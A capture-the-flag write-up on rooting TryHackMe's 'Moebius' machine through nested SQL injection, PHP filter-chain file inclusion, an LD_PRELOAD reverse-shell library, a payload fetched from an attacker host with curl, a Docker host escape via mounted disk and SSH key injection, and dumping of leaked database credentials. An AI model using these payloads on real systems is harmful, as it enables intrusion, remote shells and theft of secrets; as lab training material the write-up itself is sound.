TryHackMe Moebius Boot2Root—Writeup

Hey everyone, welcome back to another writeup! In this post, I’ll be walking you through a detailed, step-by-step breakdown of how I approached and successfully rooted the latest Boot2Root machine on TryHackMe. From initial enumeration to privilege escalation, I’ll cover the full exploitation process, sharing the tools, techniques, and thought processes I used along the way. Whether you’re a beginner looking to learn or a seasoned hacker seeking a second perspective, I hope this helps sharpen your skills. Let’s dive in!
Reconnaissance
Let's start to scan the open ports for potential entry points using nmap.
nmap -sV -sC 10.10.213.96

Let's visit the webpage for more information.

A site for cat pictures>_<!!! Let's try one!

Enumeration
Take a close look at the URL, something's familiar, right?
Now let's click one of the pics

Woahhhh, a full path?? Something's fishy here, let's dive a little more.
Earlier, I pointed out that there was something suspicious about the URL—and it turns out to be a case of SQL Injection. If we revisit album.php
and append a single quote ('
) to the parameter value, here’s what happens

And we're right, we trigger a syntax error! This is a strong hint that this is vulnerable to SQL Injection! The next thing I did is to add a classic SQLi payload ' OR 1=1;-- -
and this is the result

It appears that some filters have been implemented, preventing us from successfully executing our SQL injection payloads. At this point we can actually use sqlmap to scan the site further and to bypass this filter.
sqlmap -u 'http://10.10.213.96/album.php?short_tag=cute' --batch --dbs --level 3 --risk 4 --threads 5
Here's the result

As shown here, we’re presented with two databases. The one that stands out is the web
database, so let’s proceed to dump its contents.
sqlmap -u 'http://10.10.213.96/album.php?short_tag=cute' --batch -D web --dump --level 3 --risk 4 --threads 5
There are two tables in this database
albums

images

When a valid short_tag
is supplied to album.php
, the application doesn't just fetch the album ID from the albums
table—it also retrieves and displays image paths. This suggests that behind the scenes, there's another query interacting with the images
table to gather related content.

It’s likely that once the application retrieves the album ID through the SELECT id FROM albums WHERE short_tag = '<short_tag>'
query, it then runs another query such as SELECT * FROM images WHERE album_id = <album_id>
, using the album ID from the previous query. The album ID in this second query might not be properly sanitized, similar to how the short_tag
was handled, leaving it vulnerable to SQL injection.
When examining the database, we notice that image hashes aren’t stored. This suggests that after fetching the image paths, the application likely generates the hashes programmatically. If we can inject into the second query to manipulate the image path it returns, we could force the application to calculate the hash for a custom path and use it in /image.php
, potentially allowing us to include arbitrary files.
While we can’t be certain this is exactly how the application works, we can test our hypothesis. By injecting a payload like kuroshiro' UNION SELECT 0-- -
into the short_tag
parameter and sending the request http://10.10.213.96/album.php?short_tag=kuroshiro' UNION SELECT 0-- -
, we observe that we’re able to control the album_id
returned by the query.

Rather than just manipulating the album ID, we can inject a payload like kuroshiro' UNION SELECT "0 OR 1=1-- -"
into the short_tag
parameter. This would alter the first query to return 0 OR 1=1-- -
as the album ID. If our assumption holds true, the second query would likely look something like SELECT * FROM images WHERE album_id=0 OR 1=1-- -
. This condition would evaluate as true for all records, causing the application to retrieve and display every image in the database, bypassing any intended restrictions. After testing this injection, we confirm that the approach works precisely as anticipated, revealing all image paths.

The injection behaves just as we predicted. Moving forward, we attempt a UNION-based SQL injection to manipulate the data returned by the second query—specifically, to gain control over the file path value. By using a payload like kuroshiro' UNION SELECT "0 UNION SELECT 1,2,3-- -"-- -
, we identify that the query accepts three columns, and the third one corresponds to the image path displayed on the page.

To take things a step further, we aim to trick album.php
into treating a system file like /etc/passwd
as an image path. This would cause the application to calculate a hash for that file and potentially allow us to retrieve its contents through image.php
. Initially, we try the payload kuroshiro' UNION SELECT "0 UNION SELECT 1,2,'/etc/passwd'-- -"-- -
, but due to input filtering, this direct approach doesn’t work. To bypass the filter, we encode the path in hexadecimal, resulting in a working payload: kuroshiro' UNION SELECT "0 UNION SELECT 1,2,0x2f6574632f706173737764-- -"-- -
.

Now let's click the endpoint at the source and we should see the content of /etc/passwd
.

Now that we’ve confirmed the ability to include arbitrary files, one possible path to Remote Code Execution (RCE) would be through log poisoning. Unfortunately, after exploring the environment, we couldn't locate any accessible or writable log files to exploit this technique.
As an alternative, we can leverage PHP stream wrappers—specifically, the php://filter
wrapper—to read internal application files in a base64-encoded format. This method is especially useful for bypassing direct source code viewing restrictions.
To start, we target album.php
and apply the php://filter/convert.base64-encode/resource=
wrapper to it. We then encode the entire string into hexadecimal to evade input filters, resulting in:
7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870
.
Using this hex-encoded string, we construct the payload as follows
kuroshiro' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870-- -"-- -
This is the result

Let's view the endpoint

As you can see here, the content is Base64 encoded, this is the decoded result
<?php
include('dbconfig.php');
try {
// Create a new PDO instance
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
// Set PDO error mode to exception
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if (preg_match('/[\/;]/', $_GET['short_tag'])) {
// If it does, terminate with an error message
die("Hacking attempt");
}
$album_id = "SELECT id from albums where short_tag = '" . $_GET['short_tag'] . "'";
$result_album = $conn->prepare($album_id);
$result_album->execute();
$r=$result_album->fetch();
$id=$r['id'];
// Fetch image IDs from the database
$sql_ids = "SELECT * FROM images where album_id=" . $id;
$stmt_path= $conn->prepare($sql_ids);
$stmt_path->execute();
// Display the album id
echo "<!-- Short tag: " . $_GET['short_tag'] . " - Album ID: " . $id . "-->\n";
// Display images in a grid
echo '<div class="grid-container">' . "\n";
foreach ($stmt_path as $row) {
// Get the image ID
$path = $row["path"];
$hash = hash_hmac('sha256', $path, $SECRET_KEY);
// Create link to image.php with image ID
echo '<div class="image-container">' . "\n";
echo '<a href="/image.php?hash='. $hash . '&path=' . $path . '">';
echo '<img src="/image.php?hash='. $hash . '&path=' . $path . '" alt="Image path: ' . $path . '">';
echo "</a>\n";
echo "</div>\n";;
}
echo "</div>\n";
} catch(PDOException $e) {
echo "Connection failed: " . $e->getMessage();
}
// Close the connection
$conn = null;
?>
Here, it’s evident that the hashes are being generated using the HMAC-SHA256 algorithm.
Interestingly, album.php
doesn’t directly declare the SECRET_KEY
. Instead, it pulls in configurations from dbconfig.php
, which strongly suggests that the key is stored within that included file. To access the contents of dbconfig.php
, we can simply reuse the same technique we applied earlier to extract album.php
.
kuroshiro' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d6462636f6e6669672e706870-- -"-- -
Here's the result

Clicking the link and we will see a Base64 encoded string again, decode and this is the result
<?php
// Database connection settings
$servername = "db";
$username = "web";
$password = "TAJnF6YuIot83X3g";
$dbname = "web";
$SECRET_KEY='an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW';
?>
With the SECRET_KEY
now in our hands, we're able to generate legitimate HMAC-SHA256 hashes for arbitrary file paths. To streamline the process, we can use a Python script like the one below.
import hmac
import hashlib
# Secret key and path
secret_key = b"an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW"
path = b"php://filter/convert.base64-encode/resource=image.php"
# Generate HMAC-SHA256 signature
h = hmac.new(secret_key, path, hashlib.sha256)
signature = h.hexdigest()
print(signature)
Output
ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6
Click the endpoint again and we will a Base64 encoded string, decode it and here's the content of image.php
.
<?php
include('dbconfig.php');
// Create a new PDO instance
// Set PDO error mode to exception
// Get the image ID from the query string
// Fetch image path from the database based on the ID
// Fetch image path
$image_path = $_GET['path'];
$hash= $_GET['hash'];
$computed_hash=hash_hmac('sha256', $image_path, $SECRET_KEY);
if ($image_path && $computed_hash === $hash) {
// Get the MIME type of the image
$image_info = @getimagesize($image_path);
if ($image_info && isset($image_info['mime'])) {
$mime_type = $image_info['mime'];
// Set the appropriate content type header
header("Content-type: $mime_type");
// Output the image data
include($image_path);
} else {
header("Content-type: application/octet-stream");
include($image_path);
}
} else {
echo "Image not found";
}
?>
So, how do we escalate this Local File Inclusion (LFI) flaw into Remote Code Execution (RCE)? While log injection is a common approach, another powerful method is leveraging PHP filter chains. By stacking filters creatively, we can craft a stream that acts like a virtual file containing arbitrary content — including PHP code — which the application will then interpret and execute.
Exploitation
To create a custom filter chain payload, we can use a tool I discovered on GitHub called php_filter_chain_generator, which helps automate the process of building complex filter-based streams.
python3 php_filter_chain_generator.py --chain '<?php @eval($_REQUEST["0"]); ?>'
Here's the result

With the target path identified, I’ve developed this exploit to enable the execution of custom PHP code on the server.
import hmac
import hashlib
import requests
# Constants
ENDPOINT = "http://10.10.213.96/image.php" # Change IP accordingly
AUTH_KEY = b"an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW"
PAYLOAD_PATH = b"<PATH>"
def generate_signature(key: bytes, message: bytes) -> str:
print("[*] Generating HMAC-SHA256 signature...")
mac = hmac.new(key, message, hashlib.sha256)
sig = mac.hexdigest()
print(f"[+] Signature generated: {sig}")
return sig
def send_payload(sig: str, encoded_path: bytes):
print("[*] Starting interactive command injection session...")
print(f"[+] Target endpoint: {ENDPOINT}")
print(f"[+] Using path: {encoded_path.decode(errors='ignore')}")
print(f"[+] Using signature: {sig}")
while True:
user_code = input("shell/> ")
try:
response = requests.get(
ENDPOINT,
params={
"hash": sig,
"path": encoded_path,
"0": user_code
},
timeout=5
)
print(response.text)
except requests.RequestException as err:
print(f"[!] Request failed: {err}")
if __name__ == "__main__":
token = generate_signature(AUTH_KEY, PAYLOAD_PATH)
send_payload(token, PAYLOAD_PATH)
Run and we should get a shell.
When I typed system("whoami");
, this is the result

A quick look at the list of disabled PHP functions reveals the reason — system
and several other critical functions have been restricted.

It appears that most of the critical functions that could aid in command execution have been disabled. However, by exploring potential workarounds, we might uncover a clever technique involving the putenv
and mail
functions. This method works by using putenv
to set the LD_PRELOAD
environment variable, which forces the system to load a specified shared library whenever a program is executed. By then triggering the mail
function, the sendmail
program is called, causing the library specified in LD_PRELOAD
to be loaded and executed. This could provide a way to bypass the disabled functions and gain control over the system.
The first thing that we need to do is to write a custom shared library designed to trigger a reverse shell upon execution
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void startup_hook() {
if (unsetenv("LD_PRELOAD") != 0) {
perror("unsetenv failed");
}
const char *cmd = "bash -c 'bash -i >& /dev/tcp/10.9.3.99/443 0>&1'";
int ret = system(cmd);
if (ret == -1) {
perror("system call failed");
}
}
void _init() {
startup_hook();
}
And we will compile it like this
gcc -o shell.so shell.c -fPIC -shared -nostartfiles
Next thing that we will do is to setup an HTTP Server in order for us to transfer the binary to the target server.
python3 -m http.server 1234
Now let's go back to out shell/>, execute this PHP command to download the binary to the server.
$ch = curl_init('http://10.9.3.99:1234/shell.so');curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);file_put_contents('/tmp/shell.so', curl_exec($ch)); curl_close($ch);
Next is we will setup a listener using Ncat
nc -lnvp 443
Now that our listener is ready, let's execute the binary in the server.
putenv('LD_PRELOAD=/tmp/shell.so'); mail('a','a','a','a');
Execute and we should gain a shell!

We will execute this command to have a stable shell.
script -q -c "$(echo /bin/bash)" /dev/null
and
export TERM=xterm

While investigating the server, I couldn’t find anything useful, not even the user flag. The next step I took was to inspect the permissions by running the sudo -l
command.

It's full access? All we need to here is to type sudo su
in order for us to switch to root user.

After that, we take a closer look at the container's assigned capabilities to see what actions it’s allowed to perform.

Translating this value reveals that the container is equipped with a wide range of elevated capabilities.

Given the extensive privileges available, several container escape techniques are possible. One of the most straightforward approaches involves mounting the host's root filesystem, as we have unrestricted access to its block devices.
mount /dev/nvme0n1p1 /mnt

To leverage access to the host's filesystem for gaining shell access, one effective method is to inject our SSH public key into /root/.ssh/authorized_keys
. The first step is to generate a new SSH key pair

This is our public key

All we need to do is to write the public key to /mnt/root/.ssh/authorized_keys
of the server.
echo 'public_key' >> /mnt/root/.ssh/authorized_keys
Once the key has been placed, we can authenticate as the root user on the host machine by connecting via SSH using the corresponding private key, granting us full shell access.
ssh -i kuro root@10.10.213.96
Here's the result

And surprisingly, the user flag is in the root user. Xd

Privilege Escalation
Where's the root flag?? Let's dig deeper!!
I navigate to the challenge
directory, I saw a docker-compose.yml
. This is the content
version: '3'
services:
web:
platform: linux/amd64
build: ./web
ports:
- "80:80"
restart: always
privileged: true
db:
image: mariadb:10.11.11-jammy
volumes:
- "./db:/docker-entrypoint-initdb.d:ro"
env_file:
- ./db/db.env
restart: always
Inside the /root/challenge/db/db.env
file, we uncover the credentials needed to access the MySQL server with root privileges.

Given that the environment is Dockerized, our initial step is to enumerate all running containers.

It turns out that one of the containers is hosting the database service!
To interact directly with the database container, we can attach a shell session to it by executing the following command
docker exec -it 8936 bash
Here's the result

With the credentials found in the db.env
file, we can now log in to the database and begin exploring its contents.
mysql -u root -pgG4i8NFNkcHBwUpd

Next thing that we will do is to list the databases.
show databases;

So there's a secret database here, let's use that and list its tables.
use secret;
and
show tables;

The secret database only contained one table named secrets. All we need to do is to get all the data inside that table.
select * from secrets;

And it gave us the root flag!!!! At this point, we've successfully pwned Moebius!!!

This challenge was an intense journey, filled with twists and turns — from exploiting SQL Injection and LFI vulnerabilities to achieving RCE and diving into Docker configurations. It tested a variety of skills and kept me on my toes the entire time. Overall, it was a fantastic learning experience that pushed me to think outside the box and use creative approaches to overcome each obstacle. Definitely a memorable ride in the world of security challenges!
Last updated